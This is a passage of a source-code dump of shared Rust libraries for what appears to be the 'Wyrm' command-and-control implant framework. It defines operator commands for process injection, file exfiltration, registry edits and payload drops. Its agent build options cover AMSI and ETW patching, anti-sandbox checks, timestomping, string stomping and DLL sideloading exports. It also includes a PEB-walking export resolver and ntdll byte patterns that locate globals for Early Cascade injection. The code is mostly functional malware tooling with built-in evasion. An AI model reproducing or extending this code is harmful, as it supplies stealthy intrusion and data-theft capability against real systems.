"Drop", Command::Copy => "Copy", Command::Move => "Move", Command::Pull => "Pull", Command::RegQuery => "reg query", Command::RegAdd => "reg add", Command::RegDelete => "reg del", Command::RmFile => "RmFile", Command::RmDir => "RmDir", Command::DotEx => "DotEx", Command::ConsoleMessages => "Agent console messages", Command::WhoAmI => "whoami", Command::Spawn => "SpawnChild", Command::StaticWof => "StaticWof", Command::Inject => "Inject", }; write!(f, "{choice}") } } #[derive(Serialize, Deserialize, Clone)] pub struct DotExInner { /// A partial path to the tool in the /tools mount pub tool_path: String, pub args: Vec<String>, } #[derive(Serialize, Deserialize, Clone)] #[serde(rename = "1")] pub struct InjectInnerForAdmin { #[serde(rename = "2")] pub download_name: String, #[serde(rename = "3")] pub pid: u32, } #[derive(Serialize, Deserialize, Clone)] #[serde(rename = "1")] pub struct InjectInnerForPayload { #[serde(rename = "2")] pub payload_bytes: Vec<u8>, #[serde(rename = "3")] pub pid: u32, } impl DotExInner { pub fn from(tool_path: String, args: Vec<String>) -> Self { Self { tool_path, args } } } #[derive(Serialize, Deserialize, Clone)] pub enum AdminCommand { Sleep(i64), ListAgents, ListProcesses, GetUsername, ListUsersDirs, Pwd, KillAgent, KillProcessById(String), Cd(String), Ls, ShowServerTime, StageFileOnC2(FileUploadStagingFromClient), Login, ListStagedResources, DeleteStagedResource(String), Run(String), RemoveAgentFromList, Drop(FileDropMetadata), Copy(FileCopyInner), Move(FileCopyInner), RmFile(String), RmDir(String), /// Pulls a file from the target machine, downloading to the C2 Pull(String), BuildAllBins(String), RegQuery(RegQueryInner), RegAdd(RegAddInner), RegDelete(RegQueryInner), /// Exports the completed tasks database for an agent. ExportDb, DotEx(DotExInner), WhoAmI, Spawn(String), StaticWof(String), Inject(InjectInnerForAdmin), /// Used for dispatching no admin command, but to be handled via a custom route on the C2 None, Undefined, } #[repr(C)] #[derive(Serialize)] pub struct Task { pub id: i32, pub command: Command, pub completed_time: i64, pub metadata: Option<String>, } impl Task { pub fn from(id: i32, command: Command, metadata: Option<String>) -> Self { Self { id, command, metadata, completed_time: 0, } } /// Deserialises the incoming data into a `T`, returning `None` if the metadata /// was `None`, and `Ok(T)` / `Err(E)` depending on how the serde_json went pub fn deserialise_metadata<'a, T: Deserialize<'a>>( &'a self, ) -> Option<Result<T, serde_json::Error>> { let Some(ref metadata) = self.metadata else { return None; }; Some(serde_json::from_str(metadata)) } } impl Display for Task { fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { #[cfg(debug_assertions)] return write!( f, "id: {}, command: {}, metadata: {:?}", self.id, self.command, self.metadata ); #[cfg(not(debug_assertions))] return write!(f, ""); } } #[derive(Serialize, Deserialize, Clone, Default)] #[serde(rename = "abc")] pub struct FirstRunData { /// `a` is alias for `cwd` pub a: PathBuf, /// `b` is alias for `pid` pub b: u32, /// `c` is alias for `process_name` pub c: String, /// `d` is alias for `agent_name_as_named_by_operator` /// /// The agent name given to it by the operator during creation, think of this as a /// 'family' name. pub d: String, /// `e` is an alias for teh `Sleep time` of the agent in seconds pub e: u64, } /// Check whether a list of tasks contains the `KillAgent` [`Command`]. /// /// # Returns /// - `true`: If [`Command::KillAgent`] is present /// - `false`: If it is not present. pub fn tasks_contains_kill_agent<T>(tasks: &T) -> bool where for<'a> &'a T: IntoIterator<Item = &'a Task>, { tasks.into_iter().any(|t| t.command == Command::KillAgent) } #[derive(Serialize, Deserialize, Clone)] pub enum WyrmResult<T: Serialize> { Ok(T), Err(String), } impl<T: Serialize> Debug for WyrmResult<T> { fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { match self { Self::Ok(_) => f.debug_tuple("Ok").finish(), Self::Err(e) => f.debug_tuple("Err").field(e).finish(), } } } impl<T: Serialize> Default for WyrmResult<T> { fn default() -> Self { Self::Err("abcdefghijklmnop".into()) } } impl<T: Serialize> WyrmResult<T> { /// Unwraps a wyrm result. /// /// # Panics /// This function will panic with no output error (OPSEC) if unwrap failed. pub fn unwrap(self) -> T { match self { WyrmResult::Ok(x) => x, WyrmResult::Err(_) => panic!(), } } pub fn is_err(&self) -> bool { match self { WyrmResult::Ok(_) => false, WyrmResult::Err(e) => { // As the default sets the message to `""` (opsec to prevent strings in binary) // we check whether the error contained is the default initialiser e != "abcdefghijklmnop" } } } pub fn is_empty(&self) -> bool { if let Self::Err(e) = self && e == "abcdefghijklmnop" { return true; } false } } /// Configuration of a new agent that the C2 will create; the agent will then be staged at `staging_endpoint` on the /// server. #[derive(Serialize, Deserialize, Clone, Debug)] pub struct NewAgentStaging { pub implant_name: String, pub default_sleep_time: i64, pub c2_address: String, pub c2_endpoints: Vec<String>, pub staging_endpoint: String, pub pe_name: String, pub port: u16, /// A token which validates the agent with the C2. This will prevent attacks whereby an adversary enters an WWW-Authenticate header, /// as this would allow them to connect to the C2 as an 'agent'. Their attack would likely be very limited, but it would be possible /// for them to POST to the database, etc. /// /// This token will also help reduce a little server load / ability to be DOS'ed, as the token can be used for authorisation before the /// server actually processes the request (via middleware). pub agent_security_token: String, pub antisandbox_trig: bool, pub antisandbox_ram: bool, pub stage_type: StageType, pub build_debug: bool, pub useragent: String, pub patch_etw: bool, pub patch_amsi: bool, pub jitter: Option<u64>, pub timestomp: Option<String>, pub default_spawn_as: Option<String>, pub exports: Exports, pub svc_name: String, pub string_stomp: Option<StringStomp>, pub mutex: Option<String>, pub wofs: Option<Vec<String>>, } impl NewAgentStaging { pub fn from_staged_file_metadata(staging_endpoint: &str, download_name: &str) -> Self { NewAgentStaging { implant_name: "-".into(), default_sleep_time: 0, c2_address: "-".into(), c2_endpoints: vec!["-".into()], staging_endpoint: staging_endpoint.to_owned(), pe_name: download_name.to_owned(), port: 1, agent_security_token: "-".into(), antisandbox_trig: false, antisandbox_ram: false, stage_type: StageType::Exe, build_debug: false, useragent: String::new(), patch_etw: false, patch_amsi: true, jitter: None, timestomp: None, exports: None, svc_name: "-".to_string(), string_stomp: None, mutex: None, default_spawn_as: None, wofs: None, } } } #[derive(Serialize, Deserialize, Copy, Clone, Debug, PartialEq)] pub enum StageType { Dll, Exe, Svc, All, } impl Display for StageType { fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { match self { StageType::Dll => write!(f, "dll"), StageType::Exe => write!(f, "exe"), StageType::Svc => write!(f, "svc"), StageType::All => write!(f, "all"), } } } /// Data which relates to a file upload to be staged on the server. #[derive(Serialize, Deserialize, Clone, Debug)] pub struct FileUploadStagingFromClient { pub download_name: String, pub api_endpoint: String, pub file_data: Vec<u8>, } #[derive(Serialize, Deserialize, Clone)] #[serde(rename = "a")] pub struct PowershellOutput { #[serde(rename = "b")] pub stdout: Option<String>, #[serde(rename = "c")] pub stderr: Option<String>, } #[derive(Serialize, Deserialize)] #[serde(rename = "a")] pub struct ExfiltratedFile { #[serde(rename = "a")] pub hostname: String, #[serde(rename = "b")] pub file_path: String, #[serde(rename = "c")] pub file_data: Vec<u8>, } impl ExfiltratedFile { pub fn new(hostname: String, file_path: String, file_data: Vec<u8>) -> Self { Self { hostname, file_path, file_data, } } } #[derive(Serialize, Deserialize)] pub struct BaBData { pub implant_key: String, } impl BaBData { pub fn from(implant_key: String) -> Self { Self { implant_key } } } /// An export which is added to the binary when built as a DLL to allow for /// DLL sideloading, custom entrypoints, and annoying some blue teamers :E pub type Exports = Option<BTreeMap<String, ExportConfig>>; #[derive(Serialize, Deserialize, Debug, Default, Clone)] pub struct ExportConfig { /// Optional machine code to be placed under the export. pub machine_code: Option<Vec<u8>>, /// Used for DLL Search Order Hijacking, the BTreeMap consists of /// k=target DLL, v=Target function pub proxy: Option<BTreeMap<String, String>>, } #[derive(Serialize, Deserialize, Debug, Default, Clone)] pub struct StringStomp { /// Strings to remove with zeros from the binary pub remove: Option<HashSet<String>>, /// Strings to replace in the binary pub replace: Option<BTreeMap<String, String>>, } impl StringStomp { /// Creates a new [`StringStomp`] from optional input lists of the correct type. The function will /// add a null byte to the end of each string if it does not exist so that it is compatible with /// searching for proper null terminated strings. pub fn from(string_stomp: &Option<StringStomp>) -> Option<Self> { let string_stomp = match string_stomp { Some(s) => s, None => return None, }; let remove = { if let Some(inner) = &string_stomp.remove { let mut r = HashSet::with_capacity(inner.len()); for s in inner.iter() { let builder = s.to_owned(); let mut builder = builder.replace(r"\\", r"\"); if !builder.ends_with('\0') { builder.push('\0'); } r.insert(builder); } Some(r) } else { None } }; let replace = { if let Some(inner) = &string_stomp.replace { let mut r = BTreeMap::new(); for (k, v) in inner.iter() { let k_builder = k.to_owned(); let v_builder = v.to_owned(); r.insert(k_builder, v_builder); } Some(r) } else { None } }; Some(Self { remove, replace }) } } ================================================ FILE: shared_c2_client/Cargo.toml ================================================ [package] name = "shared_c2_client" version = "0.1.0" edition = "2024" [dependencies] serde = {version = "1.0", features = ["derive"] } serde_json = "1" chrono = { version = "0.4.41", features = ["serde"] } shared = { path = "../shared" } [target.'cfg(not(target_arch = "wasm32"))'.dependencies] sqlx = { version = "=0.8.6", features = ["postgres", "chrono"] } ================================================ FILE: shared_c2_client/readme.md ================================================ # shared_c2_client This is a shared library for use between the C2 and the Client which requires certain features which are excluded from the implant for OPSEC reasons, such as being able to print the Command properly in release mode. ================================================ FILE: shared_c2_client/src/lib.rs ================================================ use serde::{Deserialize, Serialize}; use serde_json::Value; use shared::tasks::{Command, Task}; use sqlx::FromRow; pub const ADMIN_AUTH_SEPARATOR: &str = "=authdivider="; /// The collective for multiple [`NotificationForAgent`]. pub type NotificationsForAgents = Vec<NotificationForAgent>; /// A representation of in memory agents on the C2, being a tuple of: /// - `String`: Agent display representation /// - `bool`: Is stale /// - `Option<Value>`: Any new notifications pub type AgentC2MemoryNotifications = (String, bool, Option<Value>); /// A representation of the database information pertaining to agent notifications which have not /// yet been pulled by the operator. #[derive(Debug, FromRow, Serialize, Deserialize)] pub struct NotificationForAgent { pub completed_id: i32, pub task_id: i32, pub command_id: i32, pub agent_id: String, pub result: Option<String>, pub time_completed_ms: i64, } /// Converts a [`Command`] to a `String` pub fn command_to_string(cmd: &Command) -> String { let c = match cmd { Command::Sleep => "Sleep", Command::Ps => "ListProcesses", Command::GetUsername => "GetUsername", Command::Pillage => "Pillage", Command::UpdateSleepTime => "UpdateSleepTime", Command::Pwd => "Pwd", Command::AgentsFirstSessionBeacon => "AgentsFirstSessionBeacon", Command::Cd => "Cd", Command::KillAgent => "KillAgent", Command::Ls => "Ls", Command::Run => "Run", Command::KillProcess => "KillProcess", Command::Drop => "Drop", Command::Undefined => "Undefined", Command::Copy => "Copy", Command::Move => "Move", Command::Pull => "Pull", Command::RegQuery => "reg query", Command::RegAdd => "reg add", Command::RegDelete => "reg del", Command::RmFile => "RmFile", Command::RmDir => "RmDir", Command::DotEx => "DotEx", Command::ConsoleMessages => "Agent console messages", Command::WhoAmI => "whoami", Command::Spawn => "Spawn", Command::StaticWof => "Static WOF", Command::Inject => "Inject", }; c.into() } #[derive(Serialize)] pub struct MitreTTP<'a> { ttp_major: &'a str, ttp_minor: Option<&'a str>, name: &'a str, link: &'a str, } impl<'a> MitreTTP<'a> { pub fn from( ttp_major: &'a str, ttp_minor: Option<&'a str>, name: &'a str, link: &'a str, ) -> Self { MitreTTP { ttp_major, ttp_minor, name, link, } } } pub trait MapToMitre<'a> { fn map_to_mitre(&'a self) -> MitreTTP<'a>; } impl<'a> MapToMitre<'a> for Command { fn map_to_mitre(&'a self) -> MitreTTP<'a> { match self { Command::Sleep => MitreTTP::from( "TA0011", None, "Command and Control", "https://attack.mitre.org/tactics/TA0011/", ), Command::Ps => MitreTTP::from( "T1057", None, "Process Discovery", "https://attack.mitre.org/techniques/T1057/", ), Command::GetUsername => MitreTTP::from( "T1033", None, "System Owner/User Discovery", "https://attack.mitre.org/techniques/T1033/", ), Command::Pillage => MitreTTP::from( "T1083", None, "File and Directory Discovery", "https://attack.mitre.org/techniques/T1083/", ), Command::UpdateSleepTime => MitreTTP::from( "TA0011", None, "Command and Control", "https://attack.mitre.org/tactics/TA0011/", ), Command::Pwd => MitreTTP::from( "T1083", None, "File and Directory Discovery", "https://attack.mitre.org/techniques/T1083/", ), Command::AgentsFirstSessionBeacon => MitreTTP::from( "TA0011", None, "Command and Control", "https://attack.mitre.org/tactics/TA0011/", ), Command::Cd => MitreTTP::from( "T1083", None, "File and Directory Discovery", "https://attack.mitre.org/techniques/T1083/", ), Command::KillAgent => MitreTTP::from( "T1070", None, "Indicator Removal", "https://attack.mitre.org/techniques/T1070/", ), Command::KillProcess => MitreTTP::from( "T1489", None, " Service Stop", "https://attack.mitre.org/techniques/T1489/", ), Command::Ls => MitreTTP::from( "T1083", None, "File and Directory Discovery", "https://attack.mitre.org/techniques/T1083/", ), Command::Run => MitreTTP::from( "T1059", Some("001"), "Command and Scripting Interpreter: PowerShell", "https://attack.mitre.org/techniques/T1059/001/", ), Command::Drop => MitreTTP::from( "T1105", None, "Ingress Tool Transfer", "https://attack.mitre.org/techniques/T1105/", ), Command::Copy => MitreTTP::from( "T1074", Some("001"), "Data Staged: Local Data Staging", "https://attack.mitre.org/techniques/T1074/001/", ), Command::Move => MitreTTP::from( "T1074", Some("001"), "Data Staged: Local Data Staging", "https://attack.mitre.org/techniques/T1074/001/", ), Command::RmFile => MitreTTP::from( "T1070", Some("004"), "Indicator Removal: File Deletion", "https://attack.mitre.org/techniques/T1070/004/", ), Command::RmDir => MitreTTP::from( "T1070", Some("004"), "Indicator Removal: File Deletion", "https://attack.mitre.org/techniques/T1070/004/", ), Command::Pull => MitreTTP::from( "T1041", None, "Exfiltration Over C2 Channel", "https://attack.mitre.org/techniques/T1041/", ), Command::RegQuery => MitreTTP::from( "T1012", None, "Query Registry", "https://attack.mitre.org/techniques/T1012/", ), Command::RegAdd => MitreTTP::from( "T1112", None, "Modify Registry", "https://attack.mitre.org/techniques/T1112/", ), Command::RegDelete => MitreTTP::from( "T1112", None, "Modify Registry", "https://attack.mitre.org/techniques/T1112/", ), Command::Undefined => MitreTTP::from("UNDEFINED", None, "UNDEFINED", "UNDEFINED"), Command::DotEx => MitreTTP::from( "T1620", None, "Reflective Code Loading", "https://attack.mitre.org/techniques/T1620/", ), Command::ConsoleMessages => MitreTTP::from( "TA0011", None, "Command and Control", "https://attack.mitre.org/tactics/TA0011/", ), Command::WhoAmI => MitreTTP::from( "T1033", None, "System Owner/User Discovery", "https://attack.mitre.org/techniques/T1033/", ), Command::Spawn => MitreTTP::from( "T1055", None, "Process Injection", "https://attack.mitre.org/techniques/T1055/", ), Command::StaticWof => MitreTTP::from( "T1027", None, "Obfuscated Files or Information", "https://attack.mitre.org/techniques/T1027/", ), Command::Inject => MitreTTP::from( "T1055", None, "Process Injection", "https://attack.mitre.org/techniques/T1055/", ), } } } #[derive(Serialize)] pub struct TaskExport<'a> { task: &'a Task, mitre: MitreTTP<'a>, } impl<'a> TaskExport<'a> { pub fn new(task: &'a Task, mitre: MitreTTP<'a>) -> Self { Self { task, mitre } } } #[derive(Debug, Clone, Default, Serialize, Deserialize, FromRow)] pub struct StagedResourceData { pub agent_name: String, pub c2_endpoint: String, pub staged_endpoint: String, pub pe_name: String, pub sleep_time: i64, pub port: i16, pub num_downloads: i64, } ================================================ FILE: shared_no_std/Cargo.toml ================================================ [package] name = "shared_no_std" version = "0.1.0" edition = "2024" [dependencies] windows-sys = {version = "0.61", features = [ "Win32", "Win32_Foundation", "Win32_System_ProcessStatus", "Win32_System_SystemInformation", "Win32_System_SystemServices", "Win32_System_Services", "Win32_System_Memory", "Win32_System_Threading", ]} ================================================ FILE: shared_no_std/src/export_resolver.rs ================================================ //! Export resolver is a local copy of my https://github.com/0xflux/PE-Export-Resolver crate. //! Currently the module cannot depend on certain windows crate, so some FFI may have to be //! adjusted by hand in this module. Doing so should also reduce the overall binary size. use core::{ arch::asm, ffi::CStr, ffi::c_void, mem::transmute, ops::Add, ptr::{null_mut, read_unaligned}, slice::from_raw_parts, }; use windows_sys::Win32::System::{ Diagnostics::Debug::{IMAGE_DIRECTORY_ENTRY_EXPORT, IMAGE_NT_HEADERS64, IMAGE_SECTION_HEADER}, SystemServices::{ IMAGE_DOS_HEADER, IMAGE_DOS_SIGNATURE, IMAGE_EXPORT_DIRECTORY, IMAGE_NT_SIGNATURE, }, }; pub enum ExportResolveError { TargetFunctionNotFound, ModuleNotFound, MagicByteMismatch, FnNameNotUtf8, } /// Get the base address of a specified module. Obtains the base address by reading from the TEB -> PEB -> /// PEB_LDR_DATA -> InMemoryOrderModuleList -> InMemoryOrderLinks -> DllBase /// /// Returns the DLL base address as a Option<usize> #[allow(unused_variables)] #[allow(unused_assignments)] #[inline(always)] fn get_module_base(module_name: &str) -> Option<usize> { let mut peb: usize; let mut ldr: usize; let mut in_memory_order_module_list: usize; let mut current_entry: usize; unsafe { // get the peb and module list asm!( "mov {peb}, gs:[0x60]", "mov {ldr}, [{peb} + 0x18]", "mov {in_memory_order_module_list}, [{ldr} + 0x10]", // points to the Flink peb = out(reg) peb, ldr = out(reg) ldr, in_memory_order_module_list = out(reg) in_memory_order_module_list, ); // set the current entry to the head of the list current_entry = in_memory_order_module_list; // iterate the modules searching for loop { // get the attributes we are after of the current entry let dll_base = read_unaligned(current_entry.add(0x30) as *const usize); let module_name_address = read_unaligned(current_entry.add(0x60) as *const usize); let module_length = read_unaligned(current_entry.add(0x58) as *const u16); // check if the module name address is valid and not zero if module_name_address != 0 && module_length > 0 { // read the module name from memory let dll_name_slice = from_raw_parts( module_name_address as *const u16, (module_length / 2) as usize, ); let mut buf = [0u8; 256]; let mut buf_len = 0; // do we have a match on the module name? for i in 0..(module_length / 2) as usize { if i >= 256 { break; } let wide_char = dll_name_slice[i]; buf[i] = (wide_char & 0xFF) as u8; buf_len = i + 1; if wide_char == 0 { break; } } if strings_equal_ignore_case(&buf[..buf_len], module_name.as_bytes()) { return Some(dll_base); } } else { return None; } // dereference current_entry which contains the value of the next LDR_DATA_TABLE_ENTRY (specifically a pointer to LIST_ENTRY // within the next LDR_DATA_TABLE_ENTRY) current_entry = *(current_entry as *const usize); // If we have looped back to the start, break if current_entry == in_memory_order_module_list { return None; } } } } #[inline(always)] fn to_lowercase_ascii(c: u8) -> u8 { if c >= b'A' && c <= b'Z' { c + 32 } else { c } } #[inline(always)] fn strings_equal_ignore_case(a: &[u8], b: &[u8]) -> bool { if a.len() != b.len() { return false; } for i in 0..a.len() { let char_a = to_lowercase_ascii(a[i]); let char_b = to_lowercase_ascii(b[i]); if char_a != char_b { return false; } } true } /// Get the function address of a function in a specified DLL from the DLL Base. /// /// # Parameters /// * dll_name -> the name of the DLL / module you are wanting to query /// * needle -> the function name (case sensitive) of the function you are looking for /// /// # Returns /// Option<*const c_void> -> the function address as a pointer #[inline(always)] pub fn resolve_address( dll_name: &str, needle: &str, dll_base: Option<usize>, ) -> Result<*const c_void, ExportResolveError> { // if the dll_base was already found from a previous search then use that // otherwise, if it was None, make a call to get_module_base let dll_base: *mut c_void = match dll_base { Some(base) => base as *mut c_void, None => match get_module_base(dll_name) { Some(a) => a as *mut c_void, None => { return Err(ExportResolveError::ModuleNotFound); } }, }; // check we match the DOS header, cast as pointer to tell the compiler to treat the memory // address as if it were a IMAGE_DOS_HEADER structure let dos_header: IMAGE_DOS_HEADER = unsafe { read_unaligned(dll_base as *const IMAGE_DOS_HEADER) }; if dos_header.e_magic != IMAGE_DOS_SIGNATURE { return Err(ExportResolveError::MagicByteMismatch); } // check the NT headers let nt_headers = unsafe { read_unaligned(dll_base.offset(dos_header.e_lfanew as isize) as *const IMAGE_NT_HEADERS64) }; if nt_headers.Signature != IMAGE_NT_SIGNATURE { return Err(ExportResolveError::MagicByteMismatch); } // get the export directory // https://learn.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-image_data_directory // found from first item in the DataDirectory; then we take the structure in memory at dll_base + RVA let export_dir_rva = nt_headers.OptionalHeader.DataDirectory[0].VirtualAddress; let export_offset = unsafe { dll_base.add(export_dir_rva as usize) }; let export_dir: IMAGE_EXPORT_DIRECTORY = unsafe { read_unaligned(export_offset as *const IMAGE_EXPORT_DIRECTORY) }; // get the addresses we need let address_of_functions_rva = export_dir.AddressOfFunctions as usize; let address_of_names_rva = export_dir.AddressOfNames as usize; let ordinals_rva = export_dir.AddressOfNameOrdinals as usize; let functions = unsafe { dll_base.add(address_of_functions_rva as usize) } as *const u32; let names = unsafe { dll_base.add(address_of_names_rva as usize) } as *const u32; let ordinals = unsafe { dll_base.add(ordinals_rva as usize) } as *const u16; // get the amount of names to iterate over let number_of_names = export_dir.NumberOfNames; for i in 0..number_of_names { // calculate the RVA of the function name let name_rva = unsafe { *names.offset(i.try_into().unwrap()) as usize }; // actual memory address of the function name let name_addr = unsafe { dll_base.add(name_rva) }; // read the function name let function_name = unsafe { let char = name_addr as *const u8; let mut len = 0; // iterate over the memory until a null terminator is found while *char.add(len) != 0 { len += 1; } core::slice::from_raw_parts(char, len) }; let function_name = core::str::from_utf8(function_name).unwrap_or_default(); if function_name.is_empty() { return Err(ExportResolveError::FnNameNotUtf8); } // if we have a match on our function name if function_name.eq(needle) { // calculate the RVA of the function address let ordinal = unsafe { *ordinals.offset(i.try_into().unwrap()) as usize }; let fn_rva = unsafe { *functions.add(ordinal) as usize }; // actual memory address of the function address let fn_addr = unsafe { dll_base.add(fn_rva) } as *const c_void; return Ok(fn_addr); } } Err(ExportResolveError::TargetFunctionNotFound) } #[inline(always)] fn get_rva<T>(base_ptr: *mut u8, offset: usize) -> *mut T { (base_ptr as usize + offset) as *mut T } #[inline(always)] pub fn find_export_address( base: *mut c_void, nt: *mut IMAGE_NT_HEADERS64, name: &str, ) -> Option<unsafe extern "system" fn()> { unsafe { let dir = (*nt).OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT as usize]; if dir.VirtualAddress == 0 || dir.Size == 0 { return None; } let exp_dir: *mut IMAGE_EXPORT_DIRECTORY = get_rva(base as _, dir.VirtualAddress as usize); if exp_dir.is_null() { return None; } let exp = read_unaligned(exp_dir); let names: *const u32 = get_rva(base as _, exp.AddressOfNames as usize); let funcs: *const u32 = get_rva(base as _, exp.AddressOfFunctions as usize); let ords: *const u16 = get_rva(base as _, exp.AddressOfNameOrdinals as usize); // // Iterate over the exported names searching for the exported function // for i in 0..exp.NumberOfNames { let name_rva = read_unaligned(names.add(i as usize)) as usize; let name_ptr = get_rva::<u8>(base as _, name_rva); let export_name = CStr::from_ptr(name_ptr as _).to_str().ok(); if export_name == Some(name) { let ord_index = read_unaligned(ords.add(i as usize)) as usize; let func_rva = read_unaligned(funcs.add(ord_index)) as usize; let func_ptr = get_rva::<u8>(base as _, func_rva) as usize; return Some(transmute::<usize, unsafe extern "system" fn()>(func_ptr)); } } // Did not find exported function None } } /// Convert an RVA from the PE into a pointer inside a buffer which came from a file - NOT correctly mapped / relocated memory. #[inline(always)] unsafe fn rva_from_file<T>( file_base: *const u8, nt: *const IMAGE_NT_HEADERS64, rva: u32, ) -> *mut T { let num_sections = unsafe { *nt }.FileHeader.NumberOfSections as usize; let first_section = unsafe { (nt as *const u8).add(size_of::<IMAGE_NT_HEADERS64>()) } as *const IMAGE_SECTION_HEADER; for i in 0..num_sections { let sec = unsafe { &*first_section.add(i) }; let va = sec.VirtualAddress; let raw = sec.PointerToRawData; let size = if sec.SizeOfRawData != 0 { sec.SizeOfRawData } else { unsafe { sec.Misc.VirtualSize } }; if rva >= va && rva < va + size { let delta = rva - va; let file_off = raw + delta; return unsafe { file_base.add(file_off as usize) } as *mut T; } } null_mut() } pub enum ExportError { ImageTooSmall, ImageUnaligned, ExportNotFound, BadImageDelta, } #[inline(always)] pub fn find_export_from_unmapped_file( file_base: &[u8], name: &str, ) -> Result<unsafe extern "system" fn(), ExportError> { // Check we are being safe if file_base.len() < size_of::<IMAGE_DOS_HEADER>() { return Err(ExportError::ImageTooSmall); } let file_base = file_base.as_ptr(); let dos = unsafe { read_unaligned(file_base as *const IMAGE_DOS_HEADER) }; let nt = unsafe { file_base.add(dos.e_lfanew as usize) } as *mut IMAGE_NT_HEADERS64; unsafe { let dir = (*nt).OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT as usize]; if dir.VirtualAddress == 0 || dir.Size == 0 { return Err(ExportError::ImageUnaligned); } let exp_dir: *mut IMAGE_EXPORT_DIRECTORY = rva_from_file(file_base, nt, dir.VirtualAddress); if exp_dir.is_null() { return Err(ExportError::ImageUnaligned); } let exp = read_unaligned(exp_dir); let names: *const u32 = rva_from_file(file_base, nt, exp.AddressOfNames); let funcs: *const u32 = rva_from_file(file_base, nt, exp.AddressOfFunctions); let ords: *const u16 = rva_from_file(file_base, nt, exp.AddressOfNameOrdinals); if names.is_null() || funcs.is_null() || ords.is_null() { return Err(ExportError::ImageUnaligned); } for i in 0..exp.NumberOfNames { let name_rva = read_unaligned(names.add(i as usize)); let name_ptr = rva_from_file::<u8>(file_base, nt, name_rva); if name_ptr.is_null() { continue; } let export_name = CStr::from_ptr(name_ptr as *const i8).to_str().ok(); if export_name == Some(name) { let ord_index = read_unaligned(ords.add(i as usize)) as usize; let func_rva = read_unaligned(funcs.add(ord_index)) as u32; let func_ptr = rva_from_file::<u8>(file_base, nt, func_rva) as usize; return Ok(transmute::<usize, unsafe extern "system" fn()>(func_ptr)); } } Err(ExportError::ExportNotFound) } } pub fn calculate_memory_delta(buf_start_address: usize, fn_ptr_address: usize) -> Option<usize> { let res = fn_ptr_address.saturating_sub(buf_start_address); if res == 0 { return None; } Some(res) } pub fn find_entrypoint_from_unmapped_image( buf: &[u8], p_alloc: *const c_void, export_name: &str, ) -> Result<*const c_void, ExportError> { match find_export_from_unmapped_file(buf, export_name) { Ok(p) => { let Some(addr) = calculate_memory_delta(buf.as_ptr() as usize, p as usize) else { return Err(ExportError::BadImageDelta); }; let addr_calculated = unsafe { p_alloc.add(addr) }; Ok(addr_calculated) } Err(e) => return Err(e), } } ================================================ FILE: shared_no_std/src/lib.rs ================================================ #![no_std] pub mod export_resolver; pub mod memory; ================================================ FILE: shared_no_std/src/memory.rs ================================================ use core::{ffi::c_void, ptr::read_unaligned, slice::from_raw_parts}; use crate::export_resolver; /// Byte pattern found from disassembling ntdll to hunt for the mapped address of g_pfnSE_DllLoaded, /// a non-exported global variable in ntdll. /// https://www.outflank.nl/blog/2024/10/15/introducing-early-cascade-injection-from-windows-process-creation-to-stealthy-injection/ #[rustfmt::skip] const G_PFNSE_DLLLOADED_PATTERN: &[u8] = &[ 0x48, 0x8b, 0x3d, 0xd0, 0xc3, 0x12, 0x00, // mov rdi, qword ptr [ntdll!g_pfnSE_DllLoaded (############)] 0x83, 0xe0, 0x3f, // and eax, 3Fh 0x44, 0x2b, 0xe0, // sub r12d, eax 0x8b, 0xc2, // mov eax, edx 0x41, 0x8a, 0xcc // mov cl, r12b ]; /// Byte pattern found from disassembling ntdll to hunt for the mapped address of g_ShimsEnabled, /// a non-exported global variable in ntdll. /// https://www.outflank.nl/blog/2024/10/15/introducing-early-cascade-injection-from-windows-process-creation-to-stealthy-injection/ #[rustfmt::skip] const G_SHIMS_ENABLED_PATTERN: &[u8] = &[ 0xe8, 0x33, 0x38, 0xf5, 0xff, // call ntdll!RtlEnterCriticalSection (7ff9ddead780) 0x44, 0x38, 0x2d, 0xe4, 0x84, 0x11, 0x00, // cmp byte ptr [ntdll!g_ShimsEnabled (7ff9de072438)], r13b 0x48, 0x8d, 0x35, 0x95, 0x89, 0x11, 0x00, // lea rsi, [ntdll!PebLdr+0x10 (7ff9de0728f0)] ]; pub enum ShimErrors { NtdllNotFound(u32), GetModuleInformationFailed(u32), ExternDllLoadedNotFound, ExternShimsEnabledNotFound, ExternLdrLoadShimNotFound, } #[inline(always)] pub fn locate_shim_pointers() -> Result<EarlyCascadePointers, ShimErrors> { const MAX_TEXT_SECTION_SEARCH: usize = 1_500_000; // // Take a function at the beginning of the .text section and scan through a reasonable search number until we hopefully reach our selected // bytes.. // let Ok(approx_ntdll_base) = export_resolver::resolve_address("ntdll.dll", "RtlCompareString", None) else { return Err(ShimErrors::ExternLdrLoadShimNotFound); }; // Get the address of the .text section containing the machine code for loading the value at // g_pfnSE_DllLoaded let Ok(p_text_g_pfnse_dll_loaded) = scan_module_for_byte_pattern( approx_ntdll_base, MAX_TEXT_SECTION_SEARCH, G_PFNSE_DLLLOADED_PATTERN, ) else { return Err(ShimErrors::ExternDllLoadedNotFound); }; // Now get the actual address let p_g_pfnse_dll_loaded = unsafe { const INSTRUCTION_LEN: isize = 7; // Offset by 3 bytes to get the imm, and read the imm as a 4 byte value let offset = read_unaligned((p_text_g_pfnse_dll_loaded as *const u8).add(3) as *const i32); let offset = offset as isize + INSTRUCTION_LEN; (p_text_g_pfnse_dll_loaded as isize + offset) as *mut c_void }; // // Do the same for g_ShimsEnabled // let Ok(p_text_shims_enabled) = scan_module_for_byte_pattern( approx_ntdll_base, MAX_TEXT_SECTION_SEARCH, G_SHIMS_ENABLED_PATTERN, ) else { return Err(ShimErrors::ExternShimsEnabledNotFound); }; let p_g_shims_enabled = unsafe { const OFFSET_FROM_PATTERN: usize = 5; const OFFSET_IMM: usize = 3; const INSTRUCTION_LEN: isize = 7; // Offset by 3 bytes to get the imm, and read the imm as a 4 byte value let offset = read_unaligned( (p_text_shims_enabled as *const u8).add(OFFSET_FROM_PATTERN + OFFSET_IMM) as *const i32, ); let offset = offset as isize + INSTRUCTION_LEN; (p_text_shims_enabled as isize + offset + OFFSET_FROM_PATTERN as isize) as *mut u8 }; Ok(EarlyCascadePointers { p_g_pfnse_dll_loaded, p_g_shims_enabled, }) } pub struct EarlyCascadePointers { pub p_g_pfnse_dll_loaded: *mut c_void, /// Bool (single byte according to the disasm - 